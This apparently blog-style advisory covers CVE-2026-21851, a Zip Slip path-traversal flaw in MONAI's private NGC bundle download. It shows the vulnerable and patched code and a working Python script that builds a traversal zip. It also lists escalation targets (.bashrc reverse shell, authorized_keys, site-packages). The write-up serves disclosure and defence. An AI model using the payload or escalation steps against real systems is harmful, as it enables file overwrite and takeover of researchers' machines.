CVE-2026-21851

MONAI Zip Slip: Because Validating File Paths is Too Mainstream

Alon Barad
Alon Barad
Software Engineer

Jan 7, 2026·6 min read

Executive Summary (TL;DR)

MONAI, a widely used framework for medical AI, failed to sanitize file paths when unpacking bundles from private NVIDIA GPU Cloud (NGC) repositories. By tricking a user into downloading a compromised model bundle, an attacker can exploit a path traversal vulnerability (Zip Slip) to write files anywhere the user has permissions. This can escalate from simple file overwrites to full Remote Code Execution (RCE) if sensitive configuration files (like .bashrc or SSH keys) are targeted.

A classic Zip Slip vulnerability in the MONAI medical AI framework allows attackers to overwrite arbitrary files on a researcher's machine via malicious NGC private bundles.

The Hook: Medical AI Meets Retro Exploits

Medical AI is the frontier of technology. We have neural networks detecting tumors, transformers analyzing genomic sequences, and sophisticated pipelines orchestrating it all. The Medical Open Network for AI (MONAI) sits at the heart of this, providing the tools researchers need to build these life-saving models. But as we often see in the bleeding edge of tech, the security is sometimes stuck in the stone age.

Enter CVE-2026-21851. It’s not a fancy heap overflow in a custom tensor kernel. It’s not a quantum decryption attack. It is Zip Slip—a vulnerability pattern so old and well-documented that it feels like digging up a fossil. But this fossil bites.

The vulnerability resides in how MONAI handles "bundles"—pre-packaged models and configurations—specifically when downloading them from private NVIDIA GPU Cloud (NGC) repositories. While the public download paths were armored up, the private download function was left wide open, assuming that if you have credentials to a private repo, you must be trustworthy. Spoiler: Trust is a vulnerability.

The Flaw: Python's Favorite Footgun

The root cause here is a tale as old as Python itself: the misuse of zipfile.ZipFile.extractall(). The Python documentation explicitly warns developers: "Never extract archives from untrusted sources without prior inspection." Yet, here we are.

When you unzip a file, the archive contains a list of filenames. In a sane world, these are just names like model.pt or config.json. In a malicious world, a filename can be ../../../../../../home/victim/.ssh/authorized_keys.

MONAI's _download_from_ngc_private() function blindly took the zip file retrieved from the NGC server and called extractall() on it. It didn't check if the files inside were trying to escape the destination directory. It simply obeyed the zip file's instructions. If the zip file said "put this file in the root directory," MONAI said "Yes, master."

[!NOTE] It is ironic that MONAI actually has a secure extraction utility called safe_extract_member used elsewhere in the codebase. The developers knew how to do it right—they just forgot to apply it to this specific function.

The Code: A One-Line Catastrophe

Let's look at the smoking gun in monai/bundle/scripts.py. The code is deceptively simple, which is exactly why it's dangerous.

The Vulnerable Code:

# Inside _download_from_ngc_private
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    # THE BUG: Blindly extracting everything
    z.extractall(extract_path)
    logger.info(f"Writing into directory: {extract_path}.")

That single line z.extractall(extract_path) is the end of the game. It delegates all filesystem logic to the zip structure itself.

The Fix:

The patch is straightforward. The developers swapped the native extractall for their internal helper _extract_zip, which likely implements os.path.commonpath checks to ensure the destination resolves within the target directory.

# The Patched Version
from monai.apps.utils import _extract_zip
 
# ... inside the function ...
extract_path = download_path / f"{filename}"
# THE FIX: Using the safe wrapper
_extract_zip(zip_path, extract_path)
logger.info(f"Writing into directory: {extract_path}.")

The commit hash for this fix is 4014c8475626f20f158921ae0cf98ed259ae4d59. It's a textbook example of replacing unsafe standard library calls with a sanitized wrapper.

The Exploit: Escaping the Sandbox

To exploit this, we don't need complex memory corruption exploits. We just need a few lines of Python to generate a "bad" zip file. The goal is to traverse out of the download folder and write a file somewhere sensitive.

Here is how an attacker constructs the payload:

import zipfile
import io
 
def craft_payload():
    # The target file we want to overwrite or create
    target = "../../../../../../tmp/pwned.txt"
    
    # Create the zip in memory
    mem_zip = io.BytesIO()
    with zipfile.ZipFile(mem_zip, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Add a benign file to look legitimate
        zf.writestr("config.json", '{"model": "benign"}')
        
        # Add the malicious traversal file
        # When MONAI extracts this, it walks up the directory tree
        zf.writestr(target, "You have been visited by the Zip Slip fairy.")
    
    with open("malicious_model.zip", "wb") as f:
        f.write(mem_zip.getvalue())
        
    print("Payload ready. Upload this to the private NGC repo.")

Once this file is uploaded to a private NGC repository (perhaps by compromising a teammate's account or a supply chain attack on the repo itself), any user who runs the bundle download script will trigger the file write immediately upon extraction. No warning, no error, just a silent file creation outside the intended directory.

The Impact: From File Write to RCE

Why is this rated Medium (5.3) and not Critical? Mainly because it requires the victim to download a specific file from a private repo. However, in a corporate or research environment, the impact is severe.

Arbitrary File Write is often a stepping stone to Remote Code Execution (RCE). If the researcher is running MONAI on their local Linux workstation (which they almost certainly are), the attacker could target:

  1. ~/.bashrc or ~/.zshrc: Append a reverse shell command. The next time the researcher opens a terminal, you own the box.
  2. ~/.ssh/authorized_keys: Add the attacker's public key. Now you can SSH in whenever you want.
  3. Python Site-Packages: Overwrite a common library file (like numpy or torch init scripts). The next time any script imports that library, the malicious code runs.

This turns a "file write" vulnerability into a full compromise of the researcher's environment, potentially leaking proprietary models, patient data, or granting access to the wider hospital/lab network.

The Fix: Sanitization is Key

The mitigation is simple: Upgrade. If you are using MONAI, ensure you are on version 1.4.0 or later.

For developers reading this who implement their own zip extraction logic: stop using extractall without safeguards. You must canonize the path and check that the destination starts with the intended directory.

# The "Right" Way to Extract
dest = os.path.abspath(target_dir)
member_path = os.path.abspath(os.path.join(dest, member.filename))
if not member_path.startswith(dest):
    raise Exception("Attempted Path Traversal")

If you don't write this check, you are leaving your window open while locking the front door.

Fix Analysis (1)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

MONAI Framework (Python)Systems interacting with NVIDIA NGC Private Repositories via MONAI

Affected Versions Detail

Product
Affected Versions
Fixed Version
MONAI
Project-MONAI
< 1.4.01.4.0
AttributeDetail
CWE IDCWE-22
Attack VectorNetwork (Context Dependent)
CVSS Score5.3 (Medium)
ImpactArbitrary File Write / RCE
Affected Componentmonai.bundle.scripts._download_from_ngc_private
Exploit StatusPoC Available
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Vulnerability Timeline

Vulnerability identified and patched in MONAI main branch
2026-01-05
GHSA-9rg3-9pvr-6p27 Published
2026-01-06
CVE-2026-21851 Assigned
2026-01-06

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.